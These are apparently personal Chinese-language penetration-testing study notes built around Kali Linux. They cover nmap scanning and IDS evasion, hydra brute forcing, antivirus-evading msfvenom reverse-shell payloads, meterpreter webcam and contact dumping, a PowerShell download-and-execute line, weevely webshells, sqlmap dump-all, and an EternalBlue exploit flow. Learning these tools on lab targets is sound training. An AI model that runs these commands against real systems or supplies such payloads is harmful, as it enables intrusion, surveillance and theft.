Kali Linux

official::Kali安装

视频

text::Ubuntu Linux

text::Web渗透工具

text::Web渗透


〇、靶机

1 Metasploitable2-Linux

靶机下载

靶机配置

# 设置静态ip 
vim /etc/network/interfaces
(i) dhcp -> static
address 192.168.1.180
netmask 255.255.255.0
gateway 192.168.1.1
(::wq)
/etc/init.d/networking restart # 重启网卡

一、Kali基础

1 补充命令

root权限:

  • sudo:一次执行
  • sudo -i:切换身份

查找文件:

  • locate <name>:查找所有文件(无db时用updatedb进行更新)
  • whereis <name>:查找二进制文件
  • which <name>:查找可执行文件
  • find [option] [path] [filename]:查找路径下文件

网络设置(图形化界面在右上角网络配置——右键):

  • ifconfig:网络配置
  • ip addr:网络信息
  • ip route:路由信息

其他命令:

  • whois <url>:收集信息
  • wegt <url>:文件下载

命令技巧:

  • strings <file> | grep <flag>:查询 file 中的关键字 flag

2 安装命令

Bashtop安装和使用

# 更新apt-get
sudo apt-get update
# 获得包
apt-cache search <packet>
# 安装包
sudo apt-get install <packet>

kali-linux-full # 常见工具包
kali-linux-all # 所有工具包
kali-linux-forensic # 取证工具包
kali-linux-wireless # 无线渗透包

3 远程登录

开启ssh

# vim:i:插入模式,esc:退出,::底线命令模式,wq:保存并退出。

# 1.打开SSH配置文件
sudo vim/leafpad /etc/ssh/sshd_config
# 2.去除下列井号并把no改为yes:
PermitRootLogin prohibit-password yes
PasswordAuthentication yes

/etc/init.d/ssh status # 查看ssh服务状态
/etc/init.d/ssh start # 开启ssh服务
/etc/init.d/ssh stop # 关闭ssh服务

4 MAC伪造

# 1.关闭网卡
ifconfig wlan0 down
# 2.随机生成mac
macchanger -r wlan0
# 2.指定mac
macchanger -m 01:23:45:67:89:10 wlan0
# 3.开启网卡
ifconfig wlan0 up

5 OpenSSL

OpenSSL

生成和验证证书。

6 工具管理

# 开始菜单添加
/usr/share/applications/
# 修改文件内容
/usr/share/applications/<name>.desktop

# 添加内容:
[Desktop Entry]
Name=<name> # 填
Comment=<comment> # 可填
Encoding=UTF-8
Exec=/usr/bin/<name> # 路径(不在可以用 lcoate 进行寻找)
Icon=kali--menu # 有图标可以修改
StartupNotify=false
Terminal=true
Type=Application
Categories=<categories> # 工具栏位置(例:01-01-dns-analysis(尾部分号隔开))

二、Misc

1 binwalk

识别、提取等文件操作

签名扫描选项参数 作用
-B,-签名 扫描目标文件的通用文件签名
-R,-raw= 扫描目标文件中指定的字节序列
-A,-opcode s扫描目标文件中常见的可执行操作码签名
-m,-magic= 指定要使用的自定义魔术文件
-b,-dumb 禁用智能签名关键字
-I,-invalid 显示标记为无效的结果
-x,-exclude= 排除匹配< str >的结果
-y,-include= 仅显示匹配< str >的结果
提取选项参数 作用
-e,-extract 自动提取已知的文件类型
-D,-dd= 提取\签名(正则表达式),赋予文件扩展名\,然后执行\
-M,-matryoshka 递归扫描提取的文件
-d,-depth= 限制matryoshka递归深度(默认值:8级深度)
-C,-directory= 将文件/文件夹提取到自定义(目录默认:当前工作目录)
-j,-size= 限制每个提取文件的大小
-n, count= 限制解压缩文件的数量
-0,-run-as= 使用指定用户的权限执行外部提取实用程序
-l,-preserve-symlinks 不整理指向提取目录之外的提取的符号链接(危险)
-r,-rm 提取后删除雕刻的文件
-z 从文件中提取数据,但不执行提取实用程序
-V 子目录提取到由偏移量命名的子目录中
熵选项参数 作用
-E 熵计算文件熵
-F,-fast 使用更快但不太详细的熵分析
-J 将保存图保存为PNG
-Q,-nlegend 省略熵图中的图例
-N,-N 请勿生成熵绘图
-H,-high= 设置上升沿熵触发阈值(默认值:0.95)
-L,-low= 设置下降沿熵触发阈值(默认值:0.85)
二进制差异选项参数 作用
-W,-hexdump 对一个或多个文件执行hexdump / diff
-G,-green 仅显示包含所有文件中相同字节的行
-i,-red 只显示包含所有文件中不同字节的行
-U,-blue 仅显示包含不同字节的行,这些字节在某些文件中是不同的
-u,-similar 仅显示所有文件之间相同的行
-w,-terse 区分所有文件,但只显示第一个文件的十六进制转储
原始压缩选项参数 作用
-X,-deflate 扫描原始deflate压缩流
-Z,-lzma 扫描原始lzma压缩流
-P,-partial 执行一次表面但更快的扫描
-S,-stop 在第一个结果后停止
常规选项参数 作用
-l,-length= 要扫描的字节数
-o,-offset= 在此文件偏移量处开始扫描
-O,-base= 向所有打印的偏移量添加基址
-K,-block= 设置文件块大小
-g,-swap= 扫描前每n个字节反转一次
-f,- log= 将结果记录到文件中
-c,-csv 将结果记录到csv格式的文件中
-t,-term 格式输出以适应终端窗口
-q,-quiet 抑制输出到stdout
-v,-verbose 启用详细输出
-h,-help 显示帮助输出
-a,-finclude= 仅扫描名称与此regex匹配的文件
-p,-fexclude= 不扫描名称与此正则表达式匹配的文件
-s,-status= 在指定端口上启用状态服务器
# 案例
# 识别结构
binwalk <file>
# 提取文件
sudo binwalk -e --run-as=root <file>

2 foremost

用于分离文件

选项 作用
-h 帮助
-V 显示版权信息并退出
-t 指定文件类型(-t jpeg,pdf…)
-d 打开间接块检测(对于UNIX文件系统)
-i 指定输入文件(默认为stdin)
-a 写入所有标头,不执行错误检测(损坏的文件)
-w 仅写入审核文件,不将任何检测到的文件写入磁盘
-o 设置输出目录(默认为输出)
-c 设置要使用的配置文件(默认为foremost.conf)
-q 启用快速模式。在512字节边界上执行搜索
-Q 启用安静模式。禁止输出消息
-v 详细模式。将所有消息记录到屏幕上
# 案例
# 分离到 output 中
foremost <name>

三、 信息收集

IP分析

1 定义

被动扫描:在对方未知的情况下完成扫描。

主动扫描:主动发包,看响应。

2 maltego

一键版信息收集(通过域名)

下载后会自动加入在【01-信息收集 】中

注册登入:CE版(注册要科学上网) :

  • normal:信息多
  • S:保密性强

使用:

  • “+” 号(上)—— Domain(左)——L1 - L3(1:更快,3:更全)

3 sn0int

official::sn0int

模块开发与使用

工具集,可以自己开发模块(本身没有模块,需要自己添加)

# 安装(kali):
sudo apt install debian-keyring
gpg -a --export --keyring /usr/share/keyrings/debian-maintainers.gpg kpcyrd@archlinux.org | sudo tee /etc/apt/trusted.gpg.d/apt-vulns-sexy.gpg
echo deb http://apt.vulns.sexy stable main | sudo tee /etc/apt/sources.list.d/apt-vulns-sexy.list
sudo apt update
sudo apt install sn0int
# 模块安装
pkg quickstart
# 公钥问题
gpg --keyserver subkeys.pgp.net --recv <complete_key>
gpg --export --armor <last_eight_key> | sudo apt-key add -

# 常用使用
# 创建工作区
workspace <name>

# 语句操作
# 添加域名
add domain
# 查看域名(SQL语言具体查询,例:select domains where id=1 or value like %.com)
select domains
# 删除域名(子域名无效)
noscope/delete domains where value=url
# 删除子域名
noscope/delete subdomains where value=url
target # 当前模块目标

# 模块使用
# 查询(所有域名的)子域名(并加到 subdomain 中)
use ctlogs —— run
# 解析可以解析的子域名并更新
use dns-resolve —— run
# 查询可以访问的端口并更新
use url-scan —— run

4 NMAP

author::【工具】nmap使用手册(文末送书)

1.1 主机发现

# 1.全面扫描/综合扫描
nmap -A 192.168.242.1

# 2.Ping扫描
nmap -sP 192.168.242.1/24
nmap -sn 192.168.242.1/24 # 同一网段是arp,不同网段用其他协议

# 3.免ping扫描,穿透防火墙,避免被防火墙发现
nmap -P0 192.168.242.1

# 4.TCP SYN Ping扫描
nmap -PS -v 192.168.242.135
nmap -PS80(端口),10-100 -v 192.168.242.135 # 针对防火墙丢弃RST包

# 5.TCP ACK Ping 扫描
nmap -PA -v 192.168.242.135

# 6.UDP Ping 扫描
nmap -PU -v 192.168.242.135

# 7.ICMP Ping Types 扫描(应答在线,不应答不一定不在线(防火墙))
nmap -PE -v 192.168.242.135 # ICMP ECHO
nmap -PP -v 192.168.242.135 # ICMP 时间戳
nmap -PM -v 192.168.242.135 # ICMP 地址掩码

# 8.ARP Ping 扫描
nmap -PR -v 192.168.242.1

# 9.列表扫描
nmap -sL -v 192.168.242.1

# 10.禁止方向域名解析
nmap -n -sL -v 192.168.242.1

# 11.方向域名解析
nmap -R -sL -v 192.168.242.1

# 12.使用系统域名解析系统
nmap --system-dns 192.168.242.1 192.168.242.135

# 13.扫描IPV6 地址
nmap -6 IPv6

# 14.路由跟踪
nmap --traceroute -v www.sunbridgegroup.com

# 15.SCTP INIT Ping 扫描
nmap -PY -v 192.168.1.103

1.2 端口扫描

端口详细状态

端口状态 作用
open 开放
closed 关闭
filtered 阻塞的,未到达。不确定开放(可能是自己主机开了防火墙)
unfiltered 可访问但未知开放
open | filtered nmap无法确认端口状态
closed | filtered nmap无法确认端口状态
# 1.时序扫描(0:偏执的,慢,常用于逃避IDS;1:鬼祟的,同0;2:文雅的,不常用;3:默认的;4:野蛮的,常用的;5:疯狂的,会降低精度)
nmap -T(0-5) 192.168.242.1

# 2.常用扫描方式
nmap -p 80 192.168.242.1
nmap -p 80-100 192.168.242.1
nmap -p T:80,U:445 192.168.242.135
nmap -F 192.168.242.135 (快速扫描)
nmap --top-ports 200 192.168.242.1 (扫描最有用的前200 个端口)

# 3.TCP SYN 扫描(高效的扫描方式)
nmap -sS -v 192.168.242.135

# 4.TCP 连接扫描
nmap -sT -v 192.168.242.1

# 5.UDP 连接扫描
nmap -sU -p 80-100 192.168.242.135

# 6.隐蔽扫描
nmap -sN 61.241.194.153(NULL 扫描)
nmap -sF 61.241.194.153(FIN 扫描)
nmap -sX 61.241.194.153(Xmas 扫描)

# 7.TCP ACK 扫描
nmap -sA 192.168.242.1

# 8.TCP 窗口扫描
nmap -sW -v -F 192.168.242.1

# 9.TCP Maimon 扫描
nmap -sM -T4 192.168.242.135

# 10.自定义扫描
nmap -sT --scanflags SYNURG 192.168.242.1

# 11.空闲扫描( 隐藏IP )
nmap -sI www.0day.co:80 192.168.242.1

# 12.IP 协议扫描
nmap -sO -T4 192.168.242.1

1.3 指纹识别与探测

# 1.版本探测
nmap -sV 192.168.242.135
nmap -sV -A 192.168.241.135

# 2.全端口版本探测
nmap -sV --allports 192.168.242.135

# 3.设置扫描强度
nmap -sV --version-intensity (0-9) 192.168.242.135

# 4.轻量级扫描
nmap -sV --version-light 2 192.168.242.135

# 5.重量级扫描
nmap -sV --version-all 192.168.242.135

# 6.获取详细版本信息
nmap -sV --version-trace 192.168.242.135

# 7.RPC 扫描
nmap -sS -sR 192.168.242.135

# 8.对指定的目标进行操作系统监测
nmap -O --osscan-limit 192.168.242.1

# 9.推测系统并识别
nmap -O --osscan-guess 192.168.242.1

1.4 伺机而动

# 1.调整并行扫描组的大小
nmap --min-hostgroup 30 192.168.242.1/24
nmap --max-hostgroup 30 902 192.168.242.1

# 2.调整探测报文的并行度
nmap --min-parallelism 100 192.168.242.1
nmap --max-parallelism 100 192.168.242.1

# 3.调整探测报文超时
nmap --initial-rtt-timeout 100ms 192.168.242.1
nmap --max-rtt-timeout 100ms 192.168.242.1
nmap --min-rtt-timeout 100ms 192.168.242.1

# 4.放弃缓慢的目标主机
nmap --host-timeout 1800000ms 192.168.242.1

# 5.调整报文适合时间间隔
nmap --scan-delay 1s 192.168.242.1
nmap --max-scan-delay 1s 192.168.242.1

1.5 防火墙/IDS 逃逸

# 1.报文分段
nmap -f -v 61.241.194.153

# 2.指定偏移大小
nmap --mtu 16 192.168.242.1

# 3.IP 欺骗
nmap -D RND:11 192.168.1.104
nmap -D 192.168.1.104,192.168.1.103,192.168.1.101 192.168.1.104

# 4.源地址欺骗
nmap -sI [www.0day.cn:80](http://www.0day.cn/) 192.168.1.104

# 5.源端口欺骗
nmap --source-port 902 192.168.1.104

# 6.指定发包长度
nmap --data-length 30 192.168.1.104

# 7.目标主机随机排序
nmap --randomize-hosts 192.168.1.104

# 8.MAX 地址欺骗
nmap -sT -Pn --spoof-mac 0 192.168.1.104

1.6 信息搜集

# 1.IP 信息收集
nmap --script ip-geolocation-* www.pcos.cn

# 2.WHOIS 查询
nmap --script whois-domain www.pcos.cn
nmap --script whois-domain --script-args whois.whodb=nofollow www.ithome.com
nmap -sn --script whois-domain -v -iL host.txt

# 3.IP 反查
nmap -sn --script hostmap-ip2hosts www.pcos.cn

# 4.DNS 信息收集
nmap --script dns-brute www.pcos.cn
nmap --script dns-brute dns-brute.threads=10 www.pcos.cn
nmap --script dns-brute dns-brute.threads=10,dns-brute.hostlis www.pcos.cn

# 5.检索系统信息
nmap -p 445 445 192.168.1.104 --script membase-http-info

# 6.后台打印机服务漏洞
nmap --script smb-security-mode.nse -p 445 119.29.155.45

# 7.系统漏洞扫描
nmap --script smb-check-vulns.nse -p 445 119.29.155.45

# 9.扫描Web 漏洞
nmap -p80 --script http-stored-xss.nse/http-sql-injection.nse 119.29.155.45

# 10.通过Snmp 列举Windows 服务/账户
nmap -sU -p 161 --script=snmp-win32-services 192.168.1.104
nmap -sU -f -p 161 --script=snmp-win32-users 192.168.1.110

# 11.枚举DNS 服务器的主机名
nmap --script dns-brute --script-args dns-brute.domain=baidu.com

# 12.HTTP 信息收集
nmap -sV -p 80 www.0day.com(HTTP 版本探测)
nmap -p 80 --script=http-headers www.pcos.cn (HTTP 信息头探测)
nmap -p 80 --script=http-sitemap-generator www.pcos.cn (爬行Web 目录结构)

# 13.枚举SSL 密钥
nmap -p 443 --script=ssl-enum-ciphers www.baidu.com

# 14.SSH 服务密钥信息探测
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 127.0.0.1

1.7 结果输出

# 1、输出xml
nmap 192.168.223.129 -oX Report.xml

5 masscan

端口扫描

KaliLinux-masscan使用详解

# 扫描指定网段下的指定端口
masscan -p 80,21,3306,8888,8080 47.75.212.0/24

四、Web扫描

1 域名扫描

dirb:

  • 原理:靠字典扫描

  • dirb url:扫描url

dirsearch:

2 Web信息扫描

whatweb:

  • 收集web相关信息

  • whatweb url:输出信息

  • -v:格式化输出

五、漏洞扫描

1 NMAP(主机漏洞)

脚本使用:

  1. 指定脚本:

    • sudo nmap --script ftp-vsftpd-backdoor 192.168.17.137
  2. 全面扫描:

    • sudo nmap --script vuln 192.168.17.137
  3. 更全面扫描:

    • cd .../scripts —— sudo git clone https://github.com/scipag/vulscan.git(安装库到 scripts 中)

    • sudo nmap --script vulscan --script-args vulscandb=scipvuldb.csv -sV 192.168.17.137 [ |more ](更多显示,| 和 more 中间无空格)

2 zaproxy(Web漏洞)

sudo apt install zaproxy

手动扫描:firefox(上右)——找到网址——攻击(站点)——主动扫描——警报(查看结果)

3 rips-0.55(PHP代码审计)

official::RIPS

rips使用

该工具主要用于学习,实战需要更好的审计工具。

sudo mv -v rips-0.55 /var/www/html
sudo service apache2 start # 首次移动重新打开服务

# 403Error:chmod 755 -R rips-0.55
# 注:只可以进行本机扫描

六、暴力破解

1 hydra

暴力破解工具。

official::hydra (github.com)

# ssh爆破(指定用户名和密码字典)
hydra -L users.txt -P password.txt ssh://ip
hydra -L users.txt -P password.txt -vV ssh://ip # 详细信息输出

七、远程控制

1 木马分类

正向木马:被控端感染木马后,主控端需要主动扫描才可以得知并连接。(不易暴露,但不知道木马什么时候被感染)

反向木马:在木马中留下 IP 地址,当被控端感染木马后会主动连接主控端。

2 netcat(瑞士军刀)

nc命令教程

nc -v ip port:探测端口是否开放(出现结果后可以直接中断)
nc ip port:远程控制

3 MSFPC(生成远控软件)

MSFPC:msf payload creator

# 选择在哪个ip上生成指定platform的木马(ip 一般指定 eth0)(protocol:选择传输的协议,默认 tcp,改成 https 更安全)
msfpc <platform> <protocol> <ip>

# 执行控制文件(rc:主控端文件,其他为被控端文件)
msfconsole - q -r file.rc

4 msfvenom(生成远控软件,更全面)

-p / --payload <payload> # 指定攻击载荷(msfvenom -l payloads:查询)
-f / --format <format> # 指定输出格式(msfvenom --list formats)(c:十六进制)
-o / --out <path> # 指定输出路径
-e <encode> # 指定加密码(一般的是固定加结果,x86/shikata_ga_nai:随机加密,防查杀可以选择多次/多重编码)
-i <num> # 指定编码次数

# 某个payload的详细用法
msfvenom --list-options -p <payloads>
# 查询所有加密码
msfvenom -l encoders

# 普通被控端
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -f exe -o /var/payload.exe
# 多重多次编码的被控端
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_super -i 5 -f exe -o /var/payload.exe
# 安卓被控端
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.104 lport=9999 R>/var/pentestAndroid9999.apk

# msfvenom主控端操作(meterpreter)
# 主控端启动
msfconsole
use exploit/multi/handler
set payload
set lhost
set lport
exploit

# 获得帮助
help

# 摄像头命令
Webcam Commands # 摄像头命令
web_cam_list # 摄像头列表
webcam_snap <num> # 开启摄像头
webcam_stream <num> # 录视频

# 权限命令
check_root # 检测是否 root
dump_contacts # 导出记录
geolocate # 获取定位

5 杀毒软件(upx加壳)

病毒在线检测

杀毒软件原理:

  1. 基于文件扫描的反病毒技术:检测二进制代码(检测硬盘),如果是病毒将加入特征库便于下次检测。
  2. 基于内存的反病毒技术:运行时发现,执行后的结构会与病毒特征匹配,匹配成功将不会被执行。
  3. 基于行为的反病毒技术:如果软件运行时执行的操作可疑(改注册表、控制进程等)将会被当成病毒查杀。

    反杀毒方式:

  4. 改特征码。

  5. 添加花指令:添加无意义的指令改变特征码的位置。
  6. 程序加密:加壳,变成 PE 文件中的一串数据。(整个过程在加密过程中进行)
# 为软件加壳
sudo upx <path>

6 powerspolit

原理:被控端被控之后访问主控端的网站,利用被控端的 powershell 对被控端执行操作。
该程序主要用于搭建一个网站让被控端访问后控制被控端的 powershell,逃过杀毒软件的基于行为检测。

# 搭建网站
powerspolit —— python3 -m http.server <port>

# 下载脚本
iex(New-Object Net.webclient).DownloadString("url")
# 脚本帮助
get-help <name>
# 常用脚本
# 分包
AntivirusBypass——Find_AVSignature.ps1
# 将 dll 文件注入到进程中
CodeExectuion——Invoke-Dlllnjection.ps1

# 使用
# 重新分包,分特征码,防止被发现
find-avsignature -StartByte <num> -EndByte <num> -Interval <num> -path <path> -outpath <path>
Invoke-Dlllnjection.ps1 -ProcessID <ID> -DLL <path>

7 weevely(PHP恶意代码生成)

# 本地生成木马(带有密码,让他人无法访问)
weevely generate <password> <path>
# 远程控制
weeveky <url> <password>
# 帮助
help

八、sqlmap

1 参数

sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)

# 参数
-u/--url <url> # 指定注入目标 url
--dbms <sql> # 指定数据库( --dbms=mysql )
--os <os> # 指定操作系统( --os=Windows )
--os-cmd="xxx" # 使用cmd命令
--flush-session # 刷新缓存
--is-dba # 测试是否是管理员(是的话就可能可以进行文件读写,需要是有高低权限的数据库,例如access就没有高低权限)
--proxy # 指定代理( --proxy http://ip:port )
--user-agent # 指定 user-agent 信息( --user-agent='...' )
-data # 数据以 POST 方式提交( --data="id=1")
--level n # 等级(1-5)
--form # 自行寻找参数构造表单
--batch # 自动选择默认选项

# 更新
sudo sqlmap -update
# 下载
sudo apt-get install sqlmap
# 手动下载
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2 简单使用

# 步骤
# 1.测试是否是管理员
python sqlmap -u <url> --is-dba
# 2.所有数据库
python sqlmap -u <url> --dbs --form --batch
# 3.爆破当前数据库名
python sqlmap -u <url> --current-db --form --batch
# 4.表
python sqlmap -u <url> -D 'DBname' --tables --form --batch
# 5.列
python sqlmap -u <url> -D 'DBname' -T 'table' --columns --form --batch
# 6.数据
python sqlmap -u <url> -D 'DBname' -T 'table' -C 'column_1 , column_2' --dump --form --batch


# 一次性爆破所有数据
python sqlmap -u <目标URL> --batch --crawl=1 --level=5 --risk=3 --dump-all
--batch # 不要求用户输入,直接默认


# get请求(直接在url中写上参数)
python sqlmap -u "http://127.0.0.1/login.php?id=1"
# post请求(参数写在--data中)
python sqlmap -u "http://127.0.0.1/login.php" --data "id=1"

3 高级使用

--tamper=xxx  # 指定一些特殊脚本,在文件夹tamper下
# 进行base64编码传输
python sqlmap.py -u <url> --tamper=base64encode.py

# 进行转义绕过
python sqlmap.py -u <url> --tamper=unmagicquotes.py

4 报错

Q1:报错:python: can't open file 'sqlmap': [Errno 2] No such file or directory

A1:是路径问题,解决如下:

  1. cd /usr/bin
  2. python sqlmap -u http://www.xxx.com

九、metasploit

official::官网

1 msf 基础

路径:/usr/share/metasploit-framework

Metasploit 程序需要使用Postgresql数据库:

  • official::Postgresql :用于严格的企业场景。

  • MySQL:用于业务简单的互联网场景。

基础库:

  • metasploit基础库:文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。

  • Rex :是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgresQL以及 MySQL数据库支持等。

  • framework-core库:负责实现所有与各种类型的上层模块及插件的交互接口。

  • framework-base库:扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。

模块:

  • Aux(分为辅助模块):漏洞探测与扫描。
  • Exploits(渗透攻击模块):渗透攻击。
  • Post(后渗透攻击模块):shell 之后的进一步攻击。
  • payloads(攻击载荷模块):用于攻击,程序注入,设置 shell。
  • Encoders(编码器模块):编码。
  • Nops(空指令模块):空指令。

插件作用:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。

接口:

  • msfconsole:控制终端。
  • msfcli:命令行。
  • msfgui:图形化界面。
  • armitage:图形化界面。
  • msfapi:远程调用接口。

功能程序:

  • metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。

  • 比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。

Rank可靠性级别 效果
excellent 漏洞利用程序绝对不会使目标服务崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别
great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址
good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的”常见情况“(桌面应用程序的Windows 7,服务器的2012等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测
average 该漏洞利用程序不可靠或者难以利用
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)
manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级

2 模块使用流程

操作系统攻击:

  • ms17_010:win7,SMB协议

应用程序攻击:

  • easyfilesharing——seh:http

客户机攻击:

  • 原理:被动攻击,需要用户进行配合。(例:点击恶意链接,下载恶意插件(Flash插件经常爆出恶意漏洞))

  • adobe_flash——adobe_flash_hacking_team_uaf( version <= 18 ):flash(自建一个恶意网页,用户访问则会被攻击)

# 帮助
help
# 展示信息(exploits:攻击模块)
show <name>
# 查找模块(ms17_010:永恒之蓝)
search <name>
# 展示参数
show options
# show完exploits后可以直接输入数字使用模块
use <num>
# 查看相关信息
info
# 控制对象显示(-i <num>:切换到控制对象)
sessions

# 查看evasion
show evasion
# 使用evasion
use <evasion>
# 查看参数
show options
# 设置payload
set payload

# 流程
# 设置模块
<exploits>
# 查看参数
show options
# 设置参数
set <options> <value>
# 设置 payload
set payload <payload>
# 执行模块
exploit

# 回到上级,退出
back / exit

3 其他命令

# 连接命令,一般用于内网渗透([*]表示连接成功,可以使用命令如get来收集信息)
connect <ip> <port>

4 查找命令

# 直接查找,或精确查找
search <name>
search name:<name>
search port:<port>
search path:<path>
search platform:<name>
search type:<cmd> # cmd:exploit,payload,auxiliary,encoder,evasion,post,nop
search cve:CVE-2017-8464

# 联合查找
search type:<name> name:<name> ...

# 查看模块详细信息
info <name>

5 注意事项

msf 中的点是无法复制的(不可见的),要复制应到控制台中复制。

6 简单案例

使用流程:

  1. 查找CVE公布的漏洞
  2. 查找对应的exploit模块
  3. 添加模块参数
  4. 添加payload后门
  5. 执行exploit攻击
  6. 执行后续操作
# 永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set rhosts [IP]
use exploit/windows/smb/ms17_010_eternalblue
set rhosts [IP]
set payload windows/x64/shell_reverse_tcp
exploit -j #-j 是在后台运行,不加成功后直接在前台执行
sessions
sessions -i [ID] # 切换到指定ID的会话
background # 进入会话后输入。会话不断开继续保存在后台
sessions -k [ID] # 断开某个会话

十、内网穿透

原理:让外网可以访问内网。

给防火墙开个洞

1 负载均衡lbd探测

kali系统—-DNS收集分析之lbd_kali lbd-CSDN博客

# 探测
lbd url